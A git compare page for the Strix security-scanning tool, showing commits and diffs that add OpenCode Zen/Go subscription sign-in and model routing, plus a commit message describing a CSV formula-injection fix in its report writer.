Compare commits

..

6 Commits

Author SHA1 Message Date
yoni
8dfbe94d6a Rebase onto main: rebuild viewer assets, keep opencode module import-light 2026-08-31 21:15:25 +00:00
Jonathan Singer
aa95b0d465 Run Claude on OpenCode's Anthropic endpoint, and name the plan in the UI
Claude models are served on /messages, which the OpenAI SDK can't speak, so
those runs go through LiteLLM's Anthropic route instead. Prompt caching moves
with them, since LiteLLM consumes the injection points the raw SDK rejects.

Zen and Go now show up by name instead of both reading 'OpenCode
subscription', and Zen keeps its cost tracked: it bills prepaid credits per
request, so those runs were never actually free.
2026-08-31 21:07:10 +00:00
yoni
8ed2433574 Fix OpenCode routes: drop LiteLLM-only prompt-cache arg, persist subscription provider for viewer label 2026-08-31 21:06:48 +00:00
yoni
9408d29643 Add OpenCode (Zen/Go) subscription support: strix auth login opencode + opencode/<model> routing 2026-08-31 21:06:48 +00:00
alex s
3c767cdd47 csv injection hardening (#1203)
* fix(report): neutralize CSV formula injection in vulnerabilities.csv

write_vulnerabilities() wrote finding titles straight into vulnerabilities.csv.
The csv module escapes CSV syntax but has no notion of spreadsheet formula
triggers, so a title beginning with =, +, -, @, tab or CR reached the cell
intact and was evaluated when a human opened the file (CWE-1236).

That input is attacker-influenced by design: Strix scans untrusted targets and
the agent quotes target content verbatim into finding titles, so a scanned page
can dictate a cell's literal contents. _validate_required_text only checks the
title is non-blank.

Add csv_safe() and apply it to every cell written. A value starting with a
formula trigger is prefixed with an apostrophe, the standard mitigation:
spreadsheets render the rest as literal text and hide the apostrophe.

This follows the module's existing safe_fence() precedent, which already guards
the markdown path against the same class of attacker-influenced content.

Adds regression tests covering the six trigger characters, that the payload
survives intact behind the guard, and that benign titles are untouched.

* report: single-line titles, exact CSV bytes, accurate csv_safe docstring

Strip control characters from finding titles at the ReportState choke point so
the guard in the CSV writer is defense-in-depth rather than the only layer, and
write artifacts with newline="" so the CSV's own \r\n terminators are not
rewritten to \r\r\n on Windows.

* report: normalize hydrated titles on resume

* report: rewrite finding markdown when resume cleans its title

---------

Co-authored-by: itzzdev09 <devved90@gmail.com>
2026-08-30 23:36:16 -04:00
0xallam
0a6e8b01bf Fix user message retry lifecycle and TUI sync 2026-08-28 23:46:49 +03:00
29 changed files with 1076 additions and 114 deletions

View File

@@ -320,6 +320,18 @@ strix auth status # show the active sign-in
strix auth logout # forget the sign-in
```
#### Sign in with an OpenCode subscription
You can also run Strix on [OpenCode Zen](https://opencode.ai/docs/zen/) credits or an [OpenCode Go](https://opencode.ai/docs/go/) subscription:
```bash
strix auth login opencode # paste your API key from opencode.ai/auth
export STRIX_LLM="opencode/claude-sonnet-5" # opencode/<model> runs on Zen credits
export STRIX_LLM="opencode-go/kimi-k3" # opencode-go/<model> runs on the Go subscription
strix --target ./app-directory
```
#### Connect your own MCP servers
Strix can connect to Model Context Protocol (MCP) servers you list and expose their tools to the agent during a run. Create `~/.strix/mcp-servers.json` with a JSON list of servers. Each entry is either a local `stdio` server that Strix launches as a subprocess, or a remote `http` server:

View File

@@ -308,6 +308,7 @@ ignore = [
# Heavy inference deps (httpx, openai) imported lazily so auth-status checks
# don't pull them in.
"strix/config/codex.py" = ["PLC0415"]
"strix/config/opencode.py" = ["PLC0415"]
# Interface utility branches per scope-mode / target-type combination;
# splitting would obscure the decision tree without simplifying it.
"strix/interface/utils.py" = ["PLR0912", "BLE001", "PLC0415"]

View File

@@ -72,8 +72,32 @@ def _write_store(data: dict[str, Any]) -> None:
write_secret_text(AUTH_PATH, json.dumps(data, indent=2))
def read_provider_record(provider: str) -> dict[str, Any] | None:
"""Raw record for *provider* from the shared subscription-auth store."""
record = _read_store().get(provider)
return record if isinstance(record, dict) else None
def save_provider_record(provider: str, record: dict[str, Any]) -> None:
data = _read_store()
data[provider] = record
_write_store(data)
def remove_provider_record(provider: str) -> None:
data = _read_store()
if provider not in data:
return
del data[provider]
if data:
_write_store(data)
return
with contextlib.suppress(OSError):
AUTH_PATH.unlink()
def read_record() -> dict[str, Any] | None:
record = _read_store().get(PROVIDER)
record = read_provider_record(PROVIDER)
if not isinstance(record, dict) or record.get("type") != "oauth":
return None
if not (record.get("access") and record.get("refresh") and record.get("account_id")):
@@ -86,21 +110,11 @@ def is_authenticated() -> bool:
def save_record(record: dict[str, Any]) -> None:
data = _read_store()
data[PROVIDER] = record
_write_store(data)
save_provider_record(PROVIDER, record)
def logout() -> None:
data = _read_store()
if PROVIDER not in data:
return
del data[PROVIDER]
if data:
_write_store(data)
return
with contextlib.suppress(OSError):
AUTH_PATH.unlink()
remove_provider_record(PROVIDER)
@contextlib.contextmanager

View File

@@ -20,6 +20,7 @@ from agents.model_settings import ModelSettings
from agents.models.fake_id import FAKE_RESPONSES_ID
from agents.models.interface import Model, ModelProvider
from agents.models.multi_provider import MultiProvider
from agents.models.openai_chatcompletions import OpenAIChatCompletionsModel
from agents.models.openai_responses import OpenAIResponsesModel
from agents.retry import (
ModelRetryBackoffSettings,
@@ -36,7 +37,7 @@ from openai.types.responses import (
from openai.types.responses.response_usage import ResponseUsage
from openai.types.shared import Reasoning
from strix.config import codex
from strix.config import codex, opencode
from strix.config.loader import load_settings
from strix.config.tool_call_ids import TurnCallIdRewriter, dedupe_input
from strix.config.tool_call_limits import TurnToolCallLimiter
@@ -79,7 +80,12 @@ def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
class _CodexResponsesModel(OpenAIResponsesModel):
"""Responses model for the ChatGPT subscription backend (always streamed, stateless)."""
"""Responses model for stateless subscription gateways (always streamed).
Used for the ChatGPT subscription backend and for Responses-served models on
the OpenCode gateway: neither stores responses server-side, so reasoning is
carried inline via ``reasoning.encrypted_content``.
"""
def __init__(
self,
@@ -520,6 +526,7 @@ class StrixProvider(MultiProvider):
def get_model(self, model_name: str | None) -> Model:
llm = load_settings().llm
slug = codex.subscription_model(model_name)
oc = opencode.subscription_model(model_name)
idle_timeout = float(llm.stream_idle_timeout)
if slug:
# The ChatGPT subscription backend is always streamed; it has no
@@ -530,6 +537,35 @@ class StrixProvider(MultiProvider):
codex.get_subscription_client(),
reasoning_effort=llm.reasoning_effort,
)
elif oc and oc.protocol == opencode.PROTOCOL_RESPONSES:
model = _CodexResponsesModel(
oc.slug,
opencode.get_subscription_client(oc.base_url),
reasoning_effort=llm.reasoning_effort,
)
elif oc and oc.protocol == opencode.PROTOCOL_MESSAGES:
# Claude models are served on Anthropic's ``/messages``, which the
# OpenAI SDK cannot speak: it has no Messages method and sends the
# key as a bearer token rather than ``x-api-key``. LiteLLM's
# Anthropic route handles both, so the gateway becomes an Anthropic
# base URL with the subscription key.
from agents.extensions.models.litellm_model import LitellmModel
model = LitellmModel(
model=f"anthropic/{oc.slug}",
base_url=oc.messages_url,
api_key=opencode.get_api_key(),
)
if llm.disable_streaming:
model = _NonStreamingModel(model)
idle_timeout = 0.0
elif oc:
model = OpenAIChatCompletionsModel(
oc.slug, opencode.get_subscription_client(oc.base_url)
)
if llm.disable_streaming:
model = _NonStreamingModel(model)
idle_timeout = 0.0
else:
model = super().get_model(model_name)
if llm.disable_streaming:
@@ -589,15 +625,24 @@ RECOMMENDED_MODEL_NAMES = (
_RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
FRONTIER_MODEL_FAMILIES = (
(("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai"), ("gpt-5",)),
(("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai", "opencode"), ("gpt-5",)),
(
("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
(
"anthropic",
"azure_ai",
"bedrock",
"claude",
"databricks",
"opencode",
"snowflake",
"vertex_ai",
),
("claude-fable-5", "claude-opus-5", "claude-opus-4", "claude-sonnet-5", "claude-sonnet-4"),
),
(("google", "gemini", "vertex_ai"), ("gemini-3",)),
(("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
(("alibaba", "dashscope", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
(("moonshot", "moonshotai", "kimi"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
(("google", "gemini", "opencode", "vertex_ai"), ("gemini-3",)),
(("deepseek", "opencode"), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
(("alibaba", "dashscope", "opencode", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
(("kimi", "moonshot", "moonshotai", "opencode"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
)
@@ -605,7 +650,14 @@ def configure_sdk_model_defaults(settings: Settings) -> None:
"""Apply Strix config to SDK-native defaults."""
llm = settings.llm
set_tracing_disabled(True)
if codex.subscription_model(llm.model):
oc = opencode.subscription_model(llm.model)
if codex.subscription_model(llm.model) or oc:
# A subscription run carries its own client and credentials, so none of
# the api_key/api_base defaults below apply. The Anthropic route is the
# exception: it goes through LiteLLM, which still needs the
# compatibility flags and the cost callback.
if oc is not None and oc.protocol == opencode.PROTOCOL_MESSAGES:
_configure_litellm_compatibility()
return
_configure_litellm_compatibility()
_configure_openrouter_attribution(llm.model)
@@ -790,6 +842,11 @@ def uses_chat_completions_tool_schema(model_name: str, settings: Settings) -> bo
"""Return whether the resolved SDK route can only receive JSON function tools."""
if codex.subscription_model(model_name):
return False
oc = opencode.subscription_model(model_name)
if oc:
# Chat Completions takes JSON function tools; so does the LiteLLM
# Anthropic route, which translates them to Anthropic tool blocks.
return oc.protocol != opencode.PROTOCOL_RESPONSES
model = model_name.strip().lower()
if "/" in model and not model.startswith("openai/"):
return True

230
strix/config/opencode.py Normal file
View File

@@ -0,0 +1,230 @@
"""OpenCode subscription auth: API-key sign-in and the clients that route
inference through the OpenCode gateway.
Covers both OpenCode offerings, Zen (pay-as-you-go credits) and Go (the
monthly subscription), which share one account and API key but live behind
different gateway base URLs. Unlike the ChatGPT subscription there is no
OAuth: the user copies a plain API key from https://opencode.ai/auth, and
using the gateway from other agents is officially supported.
The gateway speaks three protocols and serves each model family on exactly
one of them (see https://opencode.ai/docs/zen/), answering a request sent to
the wrong one with an unhandled 500 rather than a 404. ``_protocol()`` holds
the mapping; ``SubscriptionModel.protocol`` carries the result. Claude runs on
Anthropic's ``/messages``, which the OpenAI SDK cannot speak, so that route
goes through LiteLLM instead of the clients built here.
"""
from __future__ import annotations
from dataclasses import dataclass
from typing import TYPE_CHECKING, Any
import requests
from strix.config import codex
if TYPE_CHECKING:
from openai import AsyncOpenAI
PROVIDER = "opencode"
ZEN_BASE_URL = "https://opencode.ai/zen/v1"
GO_BASE_URL = "https://opencode.ai/zen/go/v1"
# ``opencode/<model>`` runs on Zen credits; ``opencode-go/<model>`` on the Go
# subscription (matching OpenCode's own ``opencode-go/`` model ids).
ZEN_PREFIX = "opencode/"
GO_PREFIX = "opencode-go/"
AUTH_CONSOLE_URL = "https://opencode.ai/auth"
_KEY_CHECK_TIMEOUT = 30
class OpencodeAuthError(Exception):
def __init__(self, code: str, message: str | None = None) -> None:
self.code = code
super().__init__(message or code)
PROTOCOL_CHAT = "chat"
PROTOCOL_RESPONSES = "responses"
PROTOCOL_MESSAGES = "messages"
PLAN_ZEN = "zen"
PLAN_GO = "go"
_PLAN_LABELS = {PLAN_ZEN: "OpenCode Zen", PLAN_GO: "OpenCode Go"}
@dataclass(frozen=True)
class SubscriptionModel:
slug: str
base_url: str
protocol: str
plan: str
@property
def uses_responses(self) -> bool:
return self.protocol == PROTOCOL_RESPONSES
@property
def messages_url(self) -> str:
"""Anthropic-protocol endpoint for this gateway, e.g. ``.../zen/v1/messages``."""
return f"{self.base_url}/messages"
@property
def label(self) -> str:
return _PLAN_LABELS[self.plan]
@property
def metered(self) -> bool:
"""Whether a run spends money per request.
Zen bills prepaid credits per request, so its runs cost real money and
must not be reported as free. Go is a flat monthly fee, where a run's
marginal cost genuinely is zero.
"""
return self.plan == PLAN_ZEN
def _protocol(slug: str, base_url: str) -> str:
"""Which wire protocol the gateway serves *slug* on.
The gateway routes by model family and answers a request sent to the wrong
protocol with an unhandled 500 rather than a 404, so the mapping has to be
right. Probed against both gateways per family:
* Claude on Anthropic's ``/messages``
* GPT, Grok (Zen) and Muse on OpenAI's ``/responses``
* DeepSeek, MiniMax, Kimi, GLM and Qwen on Chat Completions
Grok is absent from the Go catalog, so its Zen-only Responses route costs
nothing there. Kimi and Qwen also answer on ``/messages``, but Chat
Completions works for them on both plans and stays the single mapping.
"""
lowered = slug.lower()
if lowered.startswith("claude-"):
return PROTOCOL_MESSAGES
if lowered.startswith(("gpt-", "muse-")):
return PROTOCOL_RESPONSES
if lowered.startswith("grok") and base_url == ZEN_BASE_URL:
return PROTOCOL_RESPONSES
return PROTOCOL_CHAT
def subscription_model(model_name: str | None) -> SubscriptionModel | None:
"""The gateway model behind an ``opencode/`` or ``opencode-go/`` STRIX_LLM."""
name = (model_name or "").strip()
lowered = name.lower()
for prefix, base_url, plan in (
(GO_PREFIX, GO_BASE_URL, PLAN_GO),
(ZEN_PREFIX, ZEN_BASE_URL, PLAN_ZEN),
):
if lowered.startswith(prefix):
slug = name[len(prefix) :]
if not slug:
return None
return SubscriptionModel(slug, base_url, _protocol(slug, base_url), plan)
return None
def read_record() -> dict[str, Any] | None:
record = codex.read_provider_record(PROVIDER)
if not isinstance(record, dict) or record.get("type") != "api_key":
return None
key = record.get("key")
if not isinstance(key, str) or not key:
return None
return record
def is_authenticated() -> bool:
return read_record() is not None
def save_api_key(key: str) -> None:
codex.save_provider_record(PROVIDER, {"type": "api_key", "provider": PROVIDER, "key": key})
def logout() -> None:
codex.remove_provider_record(PROVIDER)
def get_api_key() -> str:
record = read_record()
if record is None:
raise OpencodeAuthError(
"not_authenticated", "not signed in; run: strix auth login opencode"
)
return str(record["key"])
def validate_api_key(key: str) -> None:
"""Check the key against the gateway's models endpoint; raise if rejected."""
try:
response = requests.get(
f"{ZEN_BASE_URL}/models",
headers={"Authorization": f"Bearer {key}"},
timeout=_KEY_CHECK_TIMEOUT,
)
except requests.RequestException as exc:
raise OpencodeAuthError("unavailable", str(exc)) from exc
if response.status_code in (401, 403):
raise OpencodeAuthError(
"invalid_key", f"OpenCode rejected the API key (HTTP {response.status_code})"
)
if response.status_code >= 400:
raise OpencodeAuthError("http_error", f"HTTP {response.status_code}: {response.text[:300]}")
def build_openai_client(base_url: str) -> AsyncOpenAI:
import httpx
from openai import AsyncOpenAI
return AsyncOpenAI(
api_key=get_api_key(),
base_url=base_url,
http_client=httpx.AsyncClient(timeout=httpx.Timeout(600.0, connect=30.0)),
)
_subscription_clients: dict[str, AsyncOpenAI] = {}
def get_subscription_client(base_url: str) -> AsyncOpenAI:
client = _subscription_clients.get(base_url)
if client is None:
client = build_openai_client(base_url)
_subscription_clients[base_url] = client
return client
def auth_mode(model_name: str | None) -> str:
"""Return "subscription" when STRIX_LLM runs on any subscription
(OpenCode or ChatGPT), else "api_key"."""
if subscription_model(model_name) or codex.subscription_model(model_name):
return "subscription"
return "api_key"
def subscription_plan(model_name: str | None) -> str | None:
"""Which OpenCode plan STRIX_LLM runs on: "zen", "go", or None.
Recorded alongside ``subscription_provider`` rather than folded into it, so
consumers that compare the provider against "opencode" keep working.
"""
oc = subscription_model(model_name)
return oc.plan if oc else None
def subscription_provider(model_name: str | None) -> str | None:
"""The subscription behind STRIX_LLM: "opencode", "chatgpt", or None."""
if subscription_model(model_name):
return PROVIDER
if codex.subscription_model(model_name):
return "chatgpt"
return None

View File

@@ -8,6 +8,7 @@ from typing import TYPE_CHECKING, Any
from agents.model_settings import ModelSettings
from openai.types.shared import Reasoning
from strix.config import opencode
from strix.config.models import (
DEFAULT_MODEL_RETRY,
OPENROUTER_ATTRIBUTION_HEADERS,
@@ -325,6 +326,13 @@ def _prompt_cache_extra_args(model_name: str) -> dict[str, Any] | None:
"""
if not is_claude_model(model_name) or not routes_through_litellm(model_name):
return None
# OpenCode's Chat Completions and Responses routes use the raw OpenAI SDK,
# which rejects this LiteLLM-only argument. Its Anthropic route does go
# through LiteLLM, so the injection points apply there as they would for a
# direct Anthropic key.
oc = opencode.subscription_model(model_name)
if oc is not None and oc.protocol != opencode.PROTOCOL_MESSAGES:
return None
if is_bedrock_route(model_name) and not bedrock_route_supports_prompt_caching(model_name):
return None

View File

@@ -1,8 +1,9 @@
"""`strix auth` — ChatGPT subscription sign-in (login / status / logout).
"""`strix auth` — subscription sign-in (login / status / logout).
Signing in only stores OAuth tokens (``~/.strix/subscription-auth.json``); model
Signing in only stores credentials (``~/.strix/subscription-auth.json``); model
selection stays with ``STRIX_LLM``. A ``chatgpt/<model>`` STRIX_LLM runs on the
subscription.
ChatGPT subscription; ``opencode/<model>`` (Zen credits) or
``opencode-go/<model>`` (Go subscription) run on OpenCode.
"""
from __future__ import annotations
@@ -21,7 +22,7 @@ from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.config import codex, load_settings
from strix.config import codex, load_settings, opencode
if TYPE_CHECKING:
@@ -32,13 +33,20 @@ logger = logging.getLogger(__name__)
_CALLBACK_TIMEOUT_S = 300
# CLI-facing name for the login provider. Internally this is the Codex OAuth
# flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what the
# command and messaging say. ``codex`` is accepted as an alias.
# CLI-facing name for the default login provider. Internally this is the Codex
# OAuth flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what
# the command and messaging say. ``codex`` is accepted as an alias.
LOGIN_PROVIDER = "chatgpt"
_ACCEPTED_PROVIDERS = frozenset({LOGIN_PROVIDER, codex.PROVIDER})
_OPENCODE_PROVIDERS = frozenset({opencode.PROVIDER, "opencode-go", "zen"})
_USAGE = "Usage:\n strix auth login chatgpt [--manual]\n strix auth status\n strix auth logout"
_USAGE = (
"Usage:\n"
" strix auth login chatgpt [--manual]\n"
" strix auth login opencode\n"
" strix auth status\n"
" strix auth logout [chatgpt|opencode]"
)
def run_auth(argv: list[str]) -> int:
@@ -55,7 +63,7 @@ def run_auth(argv: list[str]) -> int:
handlers: dict[str, Callable[[], int]] = {
"login": lambda: _login(console, rest),
"status": lambda: _status(console),
"logout": lambda: _logout(console),
"logout": lambda: _logout(console, rest),
}
handler = handlers.get(subcommand)
if handler is not None:
@@ -84,10 +92,14 @@ def _login(console: Console, argv: list[str]) -> int:
except SystemExit as exc: # argparse already printed the message
return int(exc.code or 2)
if args.provider.lower() in _OPENCODE_PROVIDERS:
return _login_opencode(console)
if args.provider.lower() not in _ACCEPTED_PROVIDERS:
console.print(
f"[red]Unsupported provider:[/] {args.provider}. "
f"Only '{LOGIN_PROVIDER}' (ChatGPT subscription) is supported."
f"Supported: '{LOGIN_PROVIDER}' (ChatGPT subscription) and "
f"'{opencode.PROVIDER}' (OpenCode Zen/Go)."
)
return 2
@@ -115,6 +127,63 @@ def _login(console: Console, argv: list[str]) -> int:
return 0
def _login_opencode(console: Console) -> int:
console.print()
console.print("[bold]Signing in with OpenCode[/] [dim](provider: opencode)[/]")
console.print(
"[dim]This uses your OpenCode Zen credits or Go subscription for inference.\n"
f"Get your API key at {opencode.AUTH_CONSOLE_URL}[/]"
)
console.print()
try:
key = console.input("Paste your OpenCode API key: ", password=True).strip()
except (EOFError, KeyboardInterrupt):
console.print("\n[yellow]Sign-in cancelled.[/]")
return 130
if not key:
console.print("[red]No API key provided.[/]")
return 2
try:
opencode.validate_api_key(key)
except opencode.OpencodeAuthError as exc:
console.print(f"[red]SIGN-IN FAILED:[/] {exc}")
return 1
opencode.save_api_key(key)
_print_opencode_success(console)
return 0
def _print_opencode_success(console: Console) -> None:
text = Text()
text.append("Signed in with your OpenCode account", style="bold #22c55e")
text.append("\n\n", style="white")
text.append("Set ", style="white")
text.append("STRIX_LLM", style="bold white")
text.append(" to an ", style="white")
text.append("opencode/", style="bold cyan")
text.append(" model (e.g. ", style="white")
text.append("opencode/claude-sonnet-5", style="bold cyan")
text.append(") to run on Zen credits, or ", style="white")
text.append("opencode-go/", style="bold cyan")
text.append(" (e.g. ", style="white")
text.append("opencode-go/kimi-k3", style="bold cyan")
text.append(") to run on the Go subscription.", style="white")
text.append("\n\n", style="white")
text.append("Run a scan as usual, e.g. ", style="white")
text.append("strix --target https://example.com", style="bold cyan")
console.print()
console.print(
Panel(
text,
title="[bold white]STRIX",
title_align="left",
border_style="#22c55e",
padding=(1, 2),
)
)
console.print()
def _run_oauth_flow(
console: Console,
authorize_url: str,
@@ -244,24 +313,41 @@ def _first(query: dict[str, list[str]], key: str) -> str | None:
def _status(console: Console) -> int:
record = codex.read_record()
if record is None:
console.print("[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] to sign in.")
opencode_signed_in = opencode.is_authenticated()
if record is None and not opencode_signed_in:
console.print(
"[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] or "
"[cyan]strix auth login opencode[/] to sign in."
)
return 1
settings = load_settings()
console.print("[green]Signed in[/] with a ChatGPT subscription.")
console.print(f" Account: [bold]{record.get('account_id')}[/]")
if codex.subscription_model(settings.llm.model):
if record is not None:
console.print("[green]Signed in[/] with a ChatGPT subscription.")
console.print(f" Account: [bold]{record.get('account_id')}[/]")
if opencode_signed_in:
console.print("[green]Signed in[/] with an OpenCode account.")
if codex.subscription_model(settings.llm.model) or opencode.subscription_model(
settings.llm.model
):
console.print(f" Runs use the subscription (STRIX_LLM=[bold]{settings.llm.model}[/]).")
else:
console.print(
" [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] "
"to run on the subscription."
" [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] or "
"[cyan]opencode/claude-sonnet-5[/] to run on a subscription."
)
return 0
def _logout(console: Console) -> int:
codex.logout()
def _logout(console: Console, argv: list[str] | None = None) -> int:
target = (argv[0].lower() if argv else "") or "all"
if target in _ACCEPTED_PROVIDERS or target == "all":
codex.logout()
if target in _OPENCODE_PROVIDERS or target == "all":
opencode.logout()
if target != "all" and target not in _ACCEPTED_PROVIDERS | _OPENCODE_PROVIDERS:
console.print(f"[red]Unknown provider:[/] {target}\n")
console.print(_USAGE)
return 2
console.print("[green]Signed out.[/] Stored subscription credentials removed.")
return 0

View File

@@ -8,7 +8,7 @@ from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.config import codex, load_settings
from strix.config import codex, load_settings, opencode
from strix.interface.utils import (
check_docker_connection,
image_exists,
@@ -37,6 +37,17 @@ def validate_environment() -> None:
logger.info("Environment OK (ChatGPT subscription)")
return
oc = opencode.subscription_model(settings.llm.model)
if oc:
if not opencode.is_authenticated():
console.print(
f"[red]STRIX_LLM={settings.llm.model} runs on {oc.label}, "
"but you're not signed in.[/] Run [cyan]strix auth login opencode[/] first."
)
sys.exit(1)
logger.info("Environment OK (%s)", oc.label)
return
if not settings.llm.model:
missing_required_vars.append("STRIX_LLM")

View File

@@ -13,7 +13,7 @@ from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.config import codex, load_settings, persist_current
from strix.config import codex, load_settings, opencode, persist_current
from strix.core.paths import run_dir_for
from strix.interface.cli_args import parse_arguments
from strix.interface.environment import (
@@ -104,8 +104,14 @@ def _provider_import_hint(exc: BaseException, model: str) -> str | None:
def _subscription_error_hint(exc: BaseException) -> str | None:
"""Return an actionable hint for a known ChatGPT-subscription error, or None."""
if not codex.subscription_model(load_settings().llm.model):
"""Return an actionable hint for a known subscription error, or None."""
model = load_settings().llm.model
if opencode.subscription_model(model):
joined = " ".join(_exception_messages(exc)).lower()
if "error code: 401" in joined or "http 401" in joined or "unauthorized" in joined:
return "Your OpenCode API key was rejected. Sign in again:\n strix auth login opencode"
return None
if not codex.subscription_model(model):
return None
joined = " ".join(_exception_messages(exc)).lower()
if "not supported when using codex with a chatgpt account" in joined:

View File

@@ -14,7 +14,7 @@ import logging
from datetime import UTC, datetime
from typing import TYPE_CHECKING, Any
from strix.config import Settings, codex, load_settings
from strix.config import Settings, load_settings, opencode
from strix.core.paths import run_dir_for
from strix.interface.utils import (
assign_workspace_subdirs,
@@ -226,7 +226,7 @@ def telemetry_start(args: argparse.Namespace) -> None:
model = load_settings().llm.model
kwargs = {
"model": model,
"auth_mode": codex.auth_mode(model),
"auth_mode": opencode.auth_mode(model),
"scan_mode": args.scan_mode,
"is_whitebox": is_whitebox_scan(args.targets_info),
"interactive": not args.non_interactive,
@@ -247,7 +247,8 @@ def _persist_run_record(args: argparse.Namespace) -> None:
"status": "running",
"start_time": datetime.now(UTC).isoformat(),
"end_time": None,
"auth_mode": codex.auth_mode(load_settings().llm.model),
"auth_mode": opencode.auth_mode(load_settings().llm.model),
"subscription_provider": opencode.subscription_provider(load_settings().llm.model),
"targets_info": args.targets_info,
"scan_mode": args.scan_mode,
"instruction": args.instruction,

View File

@@ -24,7 +24,7 @@ from strix.interface.tui.backend.projection import (
sanitize_terminal_text,
terminal_projection,
)
from strix.interface.utils import is_subscription_run
from strix.interface.utils import is_subscription_run, subscription_label
if TYPE_CHECKING:
@@ -187,6 +187,10 @@ class TuiController:
subscription = False
with contextlib.suppress(Exception):
subscription = is_subscription_run(self.report_state)
label = ""
if subscription:
with contextlib.suppress(Exception):
label = subscription_label()
model_warning = ""
if model and not is_recommended_or_frontier_model(model):
model_warning = (
@@ -223,6 +227,7 @@ class TuiController:
],
"usage": terminal_projection(usage, max_string=256, max_items=20),
"subscription": subscription,
"subscription_label": label,
"connections": [
{
"name": terminal_projection(entry["name"], max_string=64),

View File

@@ -617,7 +617,11 @@ func (m Model) statsView() string {
if b.Len() > 0 {
b.WriteString("\n")
}
b.WriteString(lipgloss.NewStyle().Foreground(green).Render("ChatGPT subscription"))
label := m.snapshot.SubscriptionLabel
if label == "" {
label = "ChatGPT subscription"
}
b.WriteString(lipgloss.NewStyle().Foreground(green).Render(label))
}
total := numberValue(m.snapshot.Usage["total_tokens"])
if total > 0 {

View File

@@ -79,6 +79,7 @@ type Snapshot struct {
Vulnerabilities []map[string]any `json:"-"`
Usage map[string]any `json:"usage"`
Subscription bool `json:"subscription"`
SubscriptionLabel string `json:"subscription_label"`
Connections []Connection `json:"connections"`
ViewerStatus string `json:"viewer_status"`
ViewerURL *string `json:"viewer_url"`

View File

@@ -281,9 +281,27 @@ def is_subscription_run(report_state: Any) -> bool:
record = getattr(report_state, "run_record", None)
if isinstance(record, dict) and record.get("auth_mode"):
return record.get("auth_mode") == "subscription"
from strix.config import codex
from strix.config import opencode
return codex.auth_mode(load_settings().llm.model) == "subscription"
return opencode.auth_mode(load_settings().llm.model) == "subscription"
def subscription_label() -> str:
"""Display name of the subscription behind the configured model."""
from strix.config import opencode
oc = opencode.subscription_model(load_settings().llm.model)
if oc:
return oc.label
return "ChatGPT subscription"
def subscription_is_metered() -> bool:
"""Whether the run spends per-request credits rather than a flat plan."""
from strix.config import opencode
oc = opencode.subscription_model(load_settings().llm.model)
return oc is not None and oc.metered
def _int_stat(usage: dict[str, Any], key: str) -> int:
@@ -326,7 +344,9 @@ def _build_llm_usage_stats(
if not usage or _int_stat(usage, "requests") <= 0:
stats_text.append("\n")
stats_text.append("Cost ", style="dim")
if subscription:
if subscription and subscription_is_metered():
stats_text.append("credits ", style="#22c55e")
elif subscription:
stats_text.append("$0.00 ", style="#22c55e")
stats_text.append("(subscription) ", style="dim")
else:
@@ -355,7 +375,19 @@ def _build_llm_usage_stats(
stats_text.append("Output Tokens ", style="dim")
stats_text.append(format_token_count(output_tokens), style="white")
if subscription:
if subscription and subscription_is_metered():
# Zen spends prepaid credits per request, so a run is not free. Its
# Anthropic route runs through LiteLLM and yields a real charge; the
# OpenAI-SDK routes report none, and an unpriced run says so rather
# than claiming $0.00.
stats_text.append(" · ", style="dim white")
stats_text.append("Cost ", style="dim")
if cost > 0:
stats_text.append(f"${cost:.4f}", style="#22c55e")
stats_text.append(" (credits)", style="dim")
else:
stats_text.append("credits", style="#22c55e")
elif subscription:
stats_text.append(" · ", style="dim white")
stats_text.append("Cost ", style="dim")
stats_text.append("$0.00", style="#22c55e")
@@ -387,7 +419,7 @@ def build_live_stats_text(report_state: Any) -> Text:
stats_text.append(str(model), style="white")
if is_subscription_run(report_state):
stats_text.append(" · ", style="dim white")
stats_text.append("ChatGPT subscription", style="#22c55e")
stats_text.append(subscription_label(), style="#22c55e")
stats_text.append("\n")
vuln_count = len(report_state.vulnerability_reports)
@@ -433,7 +465,7 @@ def build_tui_stats_text(report_state: Any) -> Text:
subscription = is_subscription_run(report_state)
if subscription:
stats_text.append("\n")
stats_text.append("ChatGPT subscription", style="#22c55e")
stats_text.append(subscription_label(), style="#22c55e")
usage = _llm_usage(report_state)
if usage and _int_stat(usage, "total_tokens") > 0:

View File

@@ -101,6 +101,23 @@ export function RunDetails({
const totalTokens = num(usage.total_tokens);
const cost = num(usage.cost);
const subscription = str(raw.auth_mode) === "subscription";
const subscriptionProvider =
str(raw.subscription_provider) ??
(models.some((m) => m.toLowerCase().startsWith("opencode")) ? "opencode" : "chatgpt");
// Runs recorded before subscription_plan existed still carry the model string,
// whose prefix names the plan.
const subscriptionPlan =
str(raw.subscription_plan) ??
(models.some((m) => m.toLowerCase().startsWith("opencode-go/")) ? "go" : "zen");
const subscriptionLabel =
subscriptionProvider === "opencode"
? subscriptionPlan === "go"
? "OpenCode Go"
: "OpenCode Zen"
: "ChatGPT subscription";
// Zen bills prepaid credits per request, so its runs are not free and there is
// no price table to estimate them from. Go is a flat monthly plan.
const metered = subscriptionProvider === "opencode" && subscriptionPlan === "zen";
const sub = (n: number, word: string) => (
<span className="text-[#666]"> ({formatNumber(n)} {word})</span>
@@ -180,7 +197,7 @@ export function RunDetails({
<Field label="Provider">
<span className="inline-flex items-center gap-1.5">
